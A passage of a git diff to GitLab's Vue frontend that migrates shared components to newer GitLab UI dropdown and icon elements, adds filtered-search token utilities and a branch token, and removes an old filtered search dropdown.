v-bind="$attrs"
@@ -228,15 +222,15 @@ export default {
<gl-icon class="gl-dropdown-caret" name="chevron-down" aria-hidden="true" />
</template>
- <div class="d-flex justify-content-between gl-p-2-deprecated-no-really-do-not-use-me">
+ <div class="d-flex justify-content-between gl-p-2">
<gl-form-group
v-if="customEnabled"
:label="customLabel"
label-for="custom-from-time"
- label-class="gl-pb-1-deprecated-no-really-do-not-use-me"
- class="custom-time-range-form-group col-md-7 gl-pl-1-deprecated-no-really-do-not-use-me gl-pr-0 m-0"
+ label-class="gl-pb-2"
+ class="custom-time-range-form-group col-md-7 gl-pl-2 gl-pr-0 m-0"
>
- <div class="gl-pt-2-deprecated-no-really-do-not-use-me">
+ <div class="gl-pt-3">
<date-time-picker-input
id="custom-time-from"
v-model="startInput"
@@ -264,15 +258,12 @@ export default {
</gl-button>
</gl-form-group>
</gl-form-group>
- <gl-form-group
- label-for="group-id-dropdown"
- class="col-md-5 gl-pl-1-deprecated-no-really-do-not-use-me gl-pr-1-deprecated-no-really-do-not-use-me m-0"
- >
+ <gl-form-group label-for="group-id-dropdown" class="col-md-5 gl-px-2 m-0">
<template #label>
- <span class="gl-pl-5-deprecated-no-really-do-not-use-me">{{ __('Quick range') }}</span>
+ <span class="gl-pl-7">{{ __('Quick range') }}</span>
</template>
- <gl-deprecated-dropdown-item
+ <gl-dropdown-item
v-for="(option, index) in options"
:key="index"
data-qa-selector="quick_range_item"
@@ -286,9 +277,9 @@ export default {
:class="{ invisible: !isOptionActive(option) }"
/>
{{ option.label }}
- </gl-deprecated-dropdown-item>
+ </gl-dropdown-item>
</gl-form-group>
</div>
- </gl-deprecated-dropdown>
+ </gl-dropdown>
</tooltip-on-truncate>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/dismissible_alert.vue b/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
index 986fa14349e..8494f99fd7d 100644
--- a/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
+++ b/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlAlert } from '@gitlab/ui';
export default {
diff --git a/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue b/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue
index 610bce9a705..7157337f8f3 100644
--- a/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue
+++ b/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue
@@ -41,12 +41,5 @@ export default {
autocomplete="off"
/>
<i class="fa fa-search dropdown-input-search" aria-hidden="true" data-hidden="true"> </i>
- <i
- class="fa fa-times dropdown-input-clear js-dropdown-input-clear"
- aria-hidden="true"
- data-hidden="true"
- role="button"
- >
- </i>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/droplab_dropdown_button.vue b/app/assets/javascripts/vue_shared/components/droplab_dropdown_button.vue
index e1f336f5250..4d85726065b 100644
--- a/app/assets/javascripts/vue_shared/components/droplab_dropdown_button.vue
+++ b/app/assets/javascripts/vue_shared/components/droplab_dropdown_button.vue
@@ -1,10 +1,9 @@
<script>
-import { GlDeprecatedButton } from '@gitlab/ui';
-import Icon from './icon.vue';
+import { GlDeprecatedButton, GlIcon } from '@gitlab/ui';
export default {
components: {
- Icon,
+ GlIcon,
GlDeprecatedButton,
},
props: {
@@ -73,7 +72,7 @@ export default {
data-display="static"
data-toggle="dropdown"
>
- <icon name="chevron-down" :aria-label="__('toggle dropdown')" />
+ <gl-icon name="chevron-down" :aria-label="__('toggle dropdown')" />
</button>
<ul :class="dropdownClass" class="dropdown-menu dropdown-open-top">
<template v-for="(action, index) in actions">
diff --git a/app/assets/javascripts/vue_shared/components/file_finder/index.vue b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
index d6f591ccca1..012aca8105a 100644
--- a/app/assets/javascripts/vue_shared/components/file_finder/index.vue
+++ b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
@@ -2,6 +2,7 @@
import fuzzaldrinPlus from 'fuzzaldrin-plus';
import Mousetrap from 'mousetrap';
import VirtualList from 'vue-virtual-scroll-list';
+import { GlIcon } from '@gitlab/ui';
import Item from './item.vue';
import { UP_KEY_CODE, DOWN_KEY_CODE, ENTER_KEY_CODE, ESC_KEY_CODE } from '~/lib/utils/keycodes';
@@ -9,10 +10,11 @@ export const MAX_FILE_FINDER_RESULTS = 40;
export const FILE_FINDER_ROW_HEIGHT = 55;
export const FILE_FINDER_EMPTY_ROW_HEIGHT = 33;
-const originalStopCallback = Mousetrap.stopCallback;
+const originalStopCallback = Mousetrap.prototype.stopCallback;
export default {
components: {
+ GlIcon,
Item,
VirtualList,
},
@@ -126,7 +128,7 @@ export default {
this.focusedIndex = 0;
}
- Mousetrap.bind(['t', 'command+p', 'ctrl+p'], e => {
+ Mousetrap.bind(['t', 'mod+p'], e => {
if (e.preventDefault) {
e.preventDefault();
}
@@ -134,7 +136,18 @@ export default {
this.toggle(!this.visible);
});
- Mousetrap.stopCallback = (e, el, combo) => this.mousetrapStopCallback(e, el, combo);
+ Mousetrap.prototype.stopCallback = function customStopCallback(e, el, combo) {
+ if (
+ (combo === 't' && el.classList.contains('dropdown-input-field')) ||
+ el.classList.contains('inputarea')
+ ) {
+ return true;
+ } else if (combo === 'mod+p') {
+ return false;
+ }
+
+ return originalStopCallback.call(this, e, el, combo);
+ };
},
methods: {
toggle(visible) {
@@ -199,18 +212,6 @@ export default {
this.cancelMouseOver = false;
this.onMouseOver(index);
},
- mousetrapStopCallback(e, el, combo) {
- if (
- (combo === 't' && el.classList.contains('dropdown-input-field')) ||
- el.classList.contains('inputarea')
- ) {
- return true;
- } else if (combo === 'command+p' || combo === 'ctrl+p') {
- return false;
- }
-
- return originalStopCallback(e, el, combo);
- },
},
};
</script>
@@ -236,12 +237,13 @@ export default {
aria-hidden="true"
class="fa fa-search dropdown-input-search"
></i>
- <i
- :aria-label="__('Clear search input')"
+ <gl-icon
+ name="close"
+ class="dropdown-input-clear"
role="button"
- class="fa fa-times dropdown-input-clear"
+ :aria-label="__('Clear search input')"
@click="clearSearchInput"
- ></i>
+ />
</div>
<div>
<virtual-list ref="virtualScrollList" :size="listHeight" :remain="listShowCount" wtag="ul">
diff --git a/app/assets/javascripts/vue_shared/components/file_finder/item.vue b/app/assets/javascripts/vue_shared/components/file_finder/item.vue
index 79c62cd9938..4c496ba3f9b 100644
--- a/app/assets/javascripts/vue_shared/components/file_finder/item.vue
+++ b/app/assets/javascripts/vue_shared/components/file_finder/item.vue
@@ -1,6 +1,6 @@
<script>
import fuzzaldrinPlus from 'fuzzaldrin-plus';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import FileIcon from '../file_icon.vue';
import ChangedFileIcon from '../changed_file_icon.vue';
@@ -8,7 +8,7 @@ const MAX_PATH_LENGTH = 60;
export default {
components: {
- Icon,
+ GlIcon,
ChangedFileIcon,
FileIcon,
},
@@ -103,10 +103,10 @@ export default {
<span v-if="file.changed || file.tempFile" v-once class="diff-changed-stats">
<span v-if="showDiffStats">
<span class="cgreen bold">
- <icon name="file-addition" class="align-text-top" /> {{ file.addedLines }}
+ <gl-icon name="file-addition" class="align-text-top" /> {{ file.addedLines }}
</span>
<span class="cred bold ml-1">
- <icon name="file-deletion" class="align-text-top" /> {{ file.removedLines }}
+ <gl-icon name="file-deletion" class="align-text-top" /> {{ file.removedLines }}
</span>
</span>
<changed-file-icon v-else :file="file" />
diff --git a/app/assets/javascripts/vue_shared/components/file_row.vue b/app/assets/javascripts/vue_shared/components/file_row.vue
index 0952e37e46e..c1c4f437dee 100644
--- a/app/assets/javascripts/vue_shared/components/file_row.vue
+++ b/app/assets/javascripts/vue_shared/components/file_row.vue
@@ -14,10 +14,20 @@ export default {
type: Object,
required: true,
},
+ fileUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
level: {
type: Number,
required: true,
},
+ fileClasses: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
computed: {
isTree() {
@@ -43,6 +53,9 @@ export default {
// don't output a title if we don't have the expanded path
return this.file?.tree?.length ? this.file.tree[0].parentPath : false;
},
+ fileRouterUrl() {
+ return this.fileUrl || `/project${this.file.url}`;
+ },
},
watch: {
'file.active': function fileActiveWatch(active) {
@@ -69,7 +82,7 @@ export default {
this.toggleTreeOpen(this.file.path);
}
- if (this.$router) this.$router.push(`/project${this.file.url}`);
+ if (this.$router && !this.hasUrlAtCurrentRoute()) this.$router.push(this.fileRouterUrl);
if (this.isBlob) this.clickedFile(this.file.path);
},
@@ -99,7 +112,7 @@ export default {
hasUrlAtCurrentRoute() {
if (!this.$router || !this.$router.currentRoute) return true;
- return this.$router.currentRoute.path === `/project${escapeFileUrl(this.file.url)}`;
+ return this.$router.currentRoute.path === escapeFileUrl(this.fileRouterUrl);
},
},
};
@@ -123,6 +136,7 @@ export default {
:style="levelIndentation"
class="file-row-name str-truncated"
data-qa-selector="file_name_content"
+ :class="fileClasses"
>
<file-icon
class="file-row-icon"
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
index 7b3d1d0afd6..3d8afd162cb 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
@@ -1,8 +1,11 @@
+/* eslint-disable @gitlab/require-i18n-strings */
import { __ } from '~/locale';
-export const ANY_AUTHOR = 'Any';
+const DEFAULT_LABEL_NO_LABEL = { value: 'No label', text: __('No label') };
+export const DEFAULT_LABEL_NONE = { value: 'None', text: __('None') };
+export const DEFAULT_LABEL_ANY = { value: 'Any', text: __('Any') };
-export const NO_LABEL = 'No label';
+export const DEFAULT_LABELS = [DEFAULT_LABEL_NO_LABEL];
export const DEBOUNCE_DELAY = 200;
@@ -11,13 +14,11 @@ export const SortDirection = {
ascending: 'ascending',
};
-export const defaultMilestones = [
- // eslint-disable-next-line @gitlab/require-i18n-strings
- { value: 'None', text: __('None') },
- // eslint-disable-next-line @gitlab/require-i18n-strings
- { value: 'Any', text: __('Any') },
- // eslint-disable-next-line @gitlab/require-i18n-strings
+export const DEFAULT_MILESTONES = [
+ DEFAULT_LABEL_NONE,
+ DEFAULT_LABEL_ANY,
{ value: 'Upcoming', text: __('Upcoming') },
- // eslint-disable-next-line @gitlab/require-i18n-strings
{ value: 'Started', text: __('Started') },
];
+
+/* eslint-enable @gitlab/require-i18n-strings */
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
index ee293d37b66..25478ad6f4f 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
@@ -3,8 +3,8 @@ import {
GlFilteredSearch,
GlButtonGroup,
GlButton,
- GlNewDropdown as GlDropdown,
- GlNewDropdownItem as GlDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
GlTooltipDirective,
} from '@gitlab/ui';
@@ -15,7 +15,7 @@ import { deprecatedCreateFlash as createFlash } from '~/flash';
import RecentSearchesStore from '~/filtered_search/stores/recent_searches_store';
import RecentSearchesService from '~/filtered_search/services/recent_searches_service';
-import { stripQuotes } from './filtered_search_utils';
+import { stripQuotes, uniqueTokens } from './filtered_search_utils';
import { SortDirection } from './constants';
export default {
@@ -120,10 +120,31 @@ export default {
? __('Sort direction: Ascending')
: __('Sort direction: Descending');
},
+ /**
+ * This prop fixes a behaviour affecting GlFilteredSearch
+ * where selecting duplicate token values leads to history
+ * dropdown also showing that selection.
+ */
filteredRecentSearches() {
- return this.recentSearchesStorageKey
- ? this.recentSearches.filter(item => typeof item !== 'string')
- : undefined;
+ if (this.recentSearchesStorageKey) {
+ const knownItems = [];
+ return this.recentSearches.reduce((historyItems, item) => {
+ // Only include non-string history items (discard items from legacy search)
+ if (typeof item !== 'string') {
+ const sanitizedItem = uniqueTokens(item);
+ const itemString = JSON.stringify(sanitizedItem);
+ // Only include items which aren't already part of history
+ if (!knownItems.includes(itemString)) {
+ historyItems.push(sanitizedItem);
+ // We're storing string for comparision as doing direct object compare
+ // won't work due to object reference not being the same.
+ knownItems.push(itemString);
+ }
+ }
+ return historyItems;
+ }, []);
+ }
+ return undefined;
},
},
watch: {
@@ -245,12 +266,14 @@ export default {
this.recentSearchesService.save(resultantSearches);
this.recentSearches = [];
},
- handleFilterSubmit(filters) {
+ handleFilterSubmit() {
+ const filterTokens = uniqueTokens(this.filterValue);
+ this.filterValue = filterTokens;
if (this.recentSearchesStorageKey) {
this.recentSearchesPromise
.then(() => {
- if (filters.length) {
- const resultantSearches = this.recentSearchesStore.addRecentSearch(filters);
+ if (filterTokens.length) {
+ const resultantSearches = this.recentSearchesStore.addRecentSearch(filterTokens);
this.recentSearchesService.save(resultantSearches);
this.recentSearches = resultantSearches;
}
@@ -260,7 +283,7 @@ export default {
});
}
this.blurSearchInput();
- this.$emit('onFilter', this.removeQuotesEnclosure(filters));
+ this.$emit('onFilter', this.removeQuotesEnclosure(filterTokens));
},
},
};
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
index 85f7f746b49..e7d7b7d9f1b 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
@@ -1,4 +1,164 @@
-// eslint-disable-next-line import/prefer-default-export
-export const stripQuotes = value => {
- return value.includes(' ') ? value.slice(1, -1) : value;
+import { isEmpty } from 'lodash';
+import { queryToObject } from '~/lib/utils/url_utility';
+
+/**
+ * Strips enclosing quotations from a string if it has one.
+ *
+ * @param {String} value String to strip quotes from
+ *
+ * @returns {String} String without any enclosure
+ */
+export const stripQuotes = value => value.replace(/^('|")(.*)('|")$/, '$2');
+
+/**
+ * This method removes duplicate tokens from tokens array.
+ *
+ * @param {Array} tokens Array of tokens as defined by `GlFilteredSearch`
+ *
+ * @returns {Array} Unique array of tokens
+ */
+export const uniqueTokens = tokens => {
+ const knownTokens = [];
+ return tokens.reduce((uniques, token) => {
+ if (typeof token === 'object' && token.type !== 'filtered-search-term') {
+ const tokenString = `${token.type}${token.value.operator}${token.value.data}`;
+ if (!knownTokens.includes(tokenString)) {
+ uniques.push(token);
+ knownTokens.push(tokenString);
+ }
+ } else {
+ uniques.push(token);
+ }
+ return uniques;
+ }, []);
};
+
+/**
+ * Creates a token from a type and a filter. Example returned object
+ * { type: 'myType', value: { data: 'myData', operator: '= '} }
+ * @param {String} type the name of the filter
+ * @param {Object}
+ * @param {Object.value} filter value to be returned as token data
+ * @param {Object.operator} filter operator to be retuned as token operator
+ * @return {Object}
+ * @return {Object.type} token type
+ * @return {Object.value} token value
+ */
+function createToken(type, filter) {
+ return { type, value: { data: filter.value, operator: filter.operator } };
+}
+
+/**
+ * This function takes a filter object and translates it into a token array
+ * @param {Object} filters
+ * @param {Object.myFilterName} a single filter value or an array of filters
+ * @return {Array} tokens an array of tokens created from filter values
+ */
+export function prepareTokens(filters = {}) {
+ return Object.keys(filters).reduce((memo, key) => {
+ const value = filters[key];
+ if (!value) {
+ return memo;
+ }
+ if (Array.isArray(value)) {
+ return [...memo, ...value.map(filterValue => createToken(key, filterValue))];
+ }
+
+ return [...memo, createToken(key, value)];
+ }, []);
+}
+
+export function processFilters(filters) {
+ return filters.reduce((acc, token) => {
+ const { type, value } = token;
+ const { operator } = value;
+ const tokenValue = value.data;
+
+ if (!acc[type]) {
+ acc[type] = [];
+ }
+
+ acc[type].push({ value: tokenValue, operator });
+ return acc;
+ }, {});
+}
+
+/**
+ * This function takes a filter object and maps it into a query object. Example filter:
+ * { myFilterName: { value: 'foo', operator: '=' } }
+ * gets translated into:
+ * { myFilterName: 'foo', 'not[myFilterName]': null }
+ * @param {Object} filters
+ * @param {Object.myFilterName} a single filter value or an array of filters
+ * @return {Object} query object with both filter name and not-name with values
+ */
+export function filterToQueryObject(filters = {}) {
+ return Object.keys(filters).reduce((memo, key) => {
+ const filter = filters[key];
+
+ let selected;
+ let unselected;
+ if (Array.isArray(filter)) {
+ selected = filter.filter(item => item.operator === '=').map(item => item.value);
+ unselected = filter.filter(item => item.operator === '!=').map(item => item.value);
+ } else {
+ selected = filter?.operator === '=' ? filter.value : null;
+ unselected = filter?.operator === '!=' ? filter.value : null;
+ }
+
+ if (isEmpty(selected)) {
+ selected = null;
+ }
+ if (isEmpty(unselected)) {
+ unselected = null;
+ }
+
+ return { ...memo, [key]: selected, [`not[${key}]`]: unselected };
+ }, {});
+}
+
+/**
+ * Extracts filter name from url name, e.g. `not[my_filter]` => `my_filter`
+ * and returns the operator with it depending on the filter name
+ * @param {String} filterName from url
+ * @return {Object}
+ * @return {Object.filterName} extracted filtern ame
+ * @return {Object.operator} `=` or `!=`
+ */
+function extractNameAndOperator(filterName) {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ if (filterName.startsWith('not[') && filterName.endsWith(']')) {
+ return { filterName: filterName.slice(4, -1), operator: '!=' };
+ }
+
+ return { filterName, operator: '=' };
+}
+
+/**
+ * This function takes a URL query string and maps it into a filter object. Example query string:
+ * '?myFilterName=foo'
+ * gets translated into:
+ * { myFilterName: { value: 'foo', operator: '=' } }
+ * @param {String} query URL quert string, e.g. from `window.location.search`
+ * @return {Object} filter object with filter names and their values
+ */
+export function urlQueryToFilter(query = '') {
+ const filters = queryToObject(query, { gatherArrays: true });
+ return Object.keys(filters).reduce((memo, key) => {
+ const value = filters[key];
+ if (!value) {
+ return memo;
+ }
+ const { filterName, operator } = extractNameAndOperator(key);
+ let previousValues = [];
+ if (Array.isArray(memo[filterName])) {
+ previousValues = memo[filterName];
+ }
+ if (Array.isArray(value)) {
+ const newAdditions = value.filter(Boolean).map(item => ({ value: item, operator }));
+ return { ...memo, [filterName]: [...previousValues, ...newAdditions] };
+ }
+
+ return { ...memo, [filterName]: { value, operator } };
+ }, {});
+}
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
index 969e914ef0c..ee0e00b0f5d 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
@@ -3,7 +3,7 @@ import {
GlFilteredSearchToken,
GlAvatar,
GlFilteredSearchSuggestion,
- GlDeprecatedDropdownDivider,
+ GlDropdownDivider,
GlLoadingIcon,
} from '@gitlab/ui';
import { debounce } from 'lodash';
@@ -11,15 +11,14 @@ import { debounce } from 'lodash';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { __ } from '~/locale';
-import { ANY_AUTHOR, DEBOUNCE_DELAY } from '../constants';
+import { DEFAULT_LABEL_ANY, DEBOUNCE_DELAY } from '../constants';
export default {
- anyAuthor: ANY_AUTHOR,
components: {
GlFilteredSearchToken,
GlAvatar,
GlFilteredSearchSuggestion,
- GlDeprecatedDropdownDivider,
+ GlDropdownDivider,
GlLoadingIcon,
},
props: {
@@ -35,6 +34,7 @@ export default {
data() {
return {
authors: this.config.initialAuthors || [],
+ defaultAuthors: this.config.defaultAuthors || [DEFAULT_LABEL_ANY],
loading: true,
};
},
@@ -99,10 +99,14 @@ export default {
<span>{{ activeAuthor ? activeAuthor.name : inputValue }}</span>
</template>
<template #suggestions>
- <gl-filtered-search-suggestion :value="$options.anyAuthor">
- {{ __('Any') }}
+ <gl-filtered-search-suggestion
+ v-for="author in defaultAuthors"
+ :key="author.value"
+ :value="author.value"
+ >
+ {{ author.text }}
</gl-filtered-search-suggestion>
- <gl-deprecated-dropdown-divider />
+ <gl-dropdown-divider v-if="defaultAuthors.length" />
<gl-loading-icon v-if="loading" />
<template v-else>
<gl-filtered-search-suggestion
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue
new file mode 100644
index 00000000000..c18bdfc5c20
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue
@@ -0,0 +1,115 @@
+<script>
+import {
+ GlToken,
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlDropdownDivider,
+ GlLoadingIcon,
+} from '@gitlab/ui';
+import { debounce } from 'lodash';
+
+import createFlash from '~/flash';
+import { __ } from '~/locale';
+
+import { DEBOUNCE_DELAY } from '../constants';
+
+export default {
+ components: {
+ GlToken,
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlDropdownDivider,
+ GlLoadingIcon,
+ },
+ props: {
+ config: {
+ type: Object,
+ required: true,
+ },
+ value: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ branches: this.config.initialBranches || [],
+ defaultBranches: this.config.defaultBranches || [],
+ loading: true,
+ };
+ },
+ computed: {
+ currentValue() {
+ return this.value.data.toLowerCase();
+ },
+ activeBranch() {
+ return this.branches.find(branch => branch.name.toLowerCase() === this.currentValue);
+ },
+ },
+ watch: {
+ active: {
+ immediate: true,
+ handler(newValue) {
+ if (!newValue && !this.branches.length) {
+ this.fetchBranchBySearchTerm(this.value.data);
+ }
+ },
+ },
+ },
+ methods: {
+ fetchBranchBySearchTerm(searchTerm) {
+ this.loading = true;
+ this.config
+ .fetchBranches(searchTerm)
+ .then(({ data }) => {
+ this.branches = data;
+ })
+ .catch(() => createFlash({ message: __('There was a problem fetching branches.') }))
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ searchBranches: debounce(function debouncedSearch({ data }) {
+ this.fetchBranchBySearchTerm(data);
+ }, DEBOUNCE_DELAY),
+ },
+};
+</script>
+
+<template>
+ <gl-filtered-search-token
+ :config="config"
+ v-bind="{ ...$props, ...$attrs }"
+ v-on="$listeners"
+ @input="searchBranches"
+ >
+ <template #view-token="{ inputValue }">
+ <gl-token variant="search-value">{{
+ activeBranch ? activeBranch.name : inputValue
+ }}</gl-token>
+ </template>
+ <template #suggestions>
+ <gl-filtered-search-suggestion
+ v-for="branch in defaultBranches"
+ :key="branch.value"
+ :value="branch.value"
+ >
+ {{ branch.text }}
+ </gl-filtered-search-suggestion>
+ <gl-dropdown-divider v-if="defaultBranches.length" />
+ <gl-loading-icon v-if="loading" />
+ <template v-else>
+ <gl-filtered-search-suggestion
+ v-for="branch in branches"
+ :key="branch.id"
+ :value="branch.name"
+ >
+ <div class="gl-display-flex">
+ <span class="gl-display-inline-block gl-mr-3 gl-p-3"></span>
+ <div>{{ branch.name }}</div>
+ </div>
+ </gl-filtered-search-suggestion>
+ </template>
+ </template>
+ </gl-filtered-search-token>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
index 726a1c49993..7a9c5c277eb 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
@@ -3,7 +3,7 @@ import {
GlToken,
GlFilteredSearchToken,
GlFilteredSearchSuggestion,
- GlNewDropdownDivider as GlDropdownDivider,
+ GlDropdownDivider,
GlLoadingIcon,
} from '@gitlab/ui';
import { debounce } from 'lodash';
@@ -14,10 +14,9 @@ import { __ } from '~/locale';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { stripQuotes } from '../filtered_search_utils';
-import { NO_LABEL, DEBOUNCE_DELAY } from '../constants';
+import { DEFAULT_LABELS, DEBOUNCE_DELAY } from '../constants';
export default {
- noLabel: NO_LABEL,
components: {
GlToken,
GlFilteredSearchToken,
@@ -38,6 +37,7 @@ export default {
data() {
return {
labels: this.config.initialLabels || [],
+ defaultLabels: this.config.defaultLabels || DEFAULT_LABELS,
loading: true,
};
},
@@ -105,10 +105,14 @@ export default {
>
</template>
<template #suggestions>
- <gl-filtered-search-suggestion :value="$options.noLabel">{{
- __('No label')
- }}</gl-filtered-search-suggestion>
- <gl-dropdown-divider />
+ <gl-filtered-search-suggestion
+ v-for="label in defaultLabels"
+ :key="label.value"
+ :value="label.value"
+ >
+ {{ label.text }}
+ </gl-filtered-search-suggestion>
+ <gl-dropdown-divider v-if="defaultLabels.length" />
<gl-loading-icon v-if="loading" />
<template v-else>
<gl-filtered-search-suggestion v-for="label in labels" :key="label.id" :value="label.title">
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
index cf1ac4e718b..89952623d0d 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
@@ -2,7 +2,7 @@
import {
GlFilteredSearchToken,
GlFilteredSearchSuggestion,
- GlNewDropdownDivider as GlDropdownDivider,
+ GlDropdownDivider,
GlLoadingIcon,
} from '@gitlab/ui';
import { debounce } from 'lodash';
@@ -11,10 +11,9 @@ import createFlash from '~/flash';
import { __ } from '~/locale';
import { stripQuotes } from '../filtered_search_utils';
-import { defaultMilestones, DEBOUNCE_DELAY } from '../constants';
+import { DEFAULT_MILESTONES, DEBOUNCE_DELAY } from '../constants';
export default {
- defaultMilestones,
components: {
GlFilteredSearchToken,
GlFilteredSearchSuggestion,
@@ -34,6 +33,7 @@ export default {
data() {
return {
milestones: this.config.initialMilestones || [],
+ defaultMilestones: this.config.defaultMilestones || DEFAULT_MILESTONES,
loading: true,
};
},
@@ -89,12 +89,13 @@ export default {
</template>
<template #suggestions>
<gl-filtered-search-suggestion
- v-for="milestone in $options.defaultMilestones"
+ v-for="milestone in defaultMilestones"
:key="milestone.value"
:value="milestone.value"
- >{{ milestone.text }}</gl-filtered-search-suggestion
>
- <gl-dropdown-divider />
+ {{ milestone.text }}
+ </gl-filtered-search-suggestion>
+ <gl-dropdown-divider v-if="defaultMilestones.length" />
<gl-loading-icon v-if="loading" />
<template v-else>
<gl-filtered-search-suggestion
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_dropdown.vue b/app/assets/javascripts/vue_shared/components/filtered_search_dropdown.vue
deleted file mode 100644
index 58afcebb7b3..00000000000
--- a/app/assets/javascripts/vue_shared/components/filtered_search_dropdown.vue
+++ /dev/null
@@ -1,154 +0,0 @@
-<script>
-import $ from 'jquery';
-import { GlDeprecatedButton } from '@gitlab/ui';
-import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
-/**
- * Renders a split dropdown with
- * an input that allows to search through the given
- * array of options.
- *
- * When there are no results and `showCreateMode` is true
- * it renders a create button with the value typed.
- */
-export default {
- name: 'FilteredSearchDropdown',
- components: {
- Icon,
- GlDeprecatedButton,
- },
- props: {
- title: {
- type: String,
- required: false,
- default: '',
- },
- buttonType: {
- required: false,
- validator: value =>
- ['primary', 'default', 'secondary', 'success', 'info', 'warning', 'danger'].indexOf(
- value,
- ) !== -1,
- default: 'default',
- },
- size: {
- required: false,
- type: String,
- default: 'sm',
- },
- items: {
- type: Array,
- required: true,
- },
- visibleItems: {
- type: Number,
- required: false,
- default: 5,
- },
- filterKey: {
- type: String,
- required: true,
- },
- showCreateMode: {
- type: Boolean,
- required: false,
- default: false,
- },
- createButtonText: {
- type: String,
- required: false,
- default: __('Create'),
- },
- },
- data() {
- return {
- filter: '',
- };
- },
- computed: {
- className() {
- return `btn btn-${this.buttonType} btn-${this.size}`;
- },
- filteredResults() {
- if (this.filter !== '') {
- return this.items.filter(
- item =>
- item[this.filterKey] &&
- item[this.filterKey].toLowerCase().includes(this.filter.toLowerCase()),
- );
- }
-
- return this.items.slice(0, this.visibleItems);
- },
- computedCreateButtonText() {
- return `${this.createButtonText} ${this.filter}`;
- },
- shouldRenderCreateButton() {
- return this.showCreateMode && this.filteredResults.length === 0 && this.filter !== '';
- },
- },
- mounted() {
- /**
- * Resets the filter every time the user closes the dropdown
- */
- $(this.$el)
- .on('shown.bs.dropdown', () => {
- this.$nextTick(() => this.$refs.searchInput.focus());
- })
- .on('hidden.bs.dropdown', () => {
- this.filter = '';
- });
- },
-};
-</script>
-<template>
- <div class="dropdown">
- <div class="btn-group">
- <slot name="mainAction" :class-name="className">
- <button type="button" :class="className">{{ title }}</button>
- </slot>
-
- <button
- type="button"
- :class="className"
- class="dropdown-toggle dropdown-toggle-split"
- data-toggle="dropdown"
- aria-haspopup="true"
- aria-expanded="false"
- :aria-label="__('Expand dropdown')"
- >
- <icon name="angle-down" :size="12" />
- </button>
- <div class="dropdown-menu dropdown-menu-right">
- <div class="dropdown-input">
- <input
- ref="searchInput"
- v-model="filter"
- type="search"
- :placeholder="__('Filter')"
- class="js-filtered-dropdown-input dropdown-input-field"
- />
- <icon class="dropdown-input-search" name="search" />
- </div>
-
- <div class="dropdown-content">
- <ul>
- <li v-for="(result, i) in filteredResults" :key="i" class="js-filtered-dropdown-result">
- <slot name="result" :result="result">{{ result[filterKey] }}</slot>
- </li>
- </ul>
- </div>
-
- <div v-if="shouldRenderCreateButton" class="dropdown-footer">
- <slot name="footer" :filter="filter">
- <gl-deprecated-button
- class="js-dropdown-create-button btn-transparent"
- @click="$emit('createItem', filter)"
- >{{ computedCreateButtonText }}</gl-deprecated-button
- >
- </slot>
- </div>
- </div>
- </div>
- </div>
-</template>
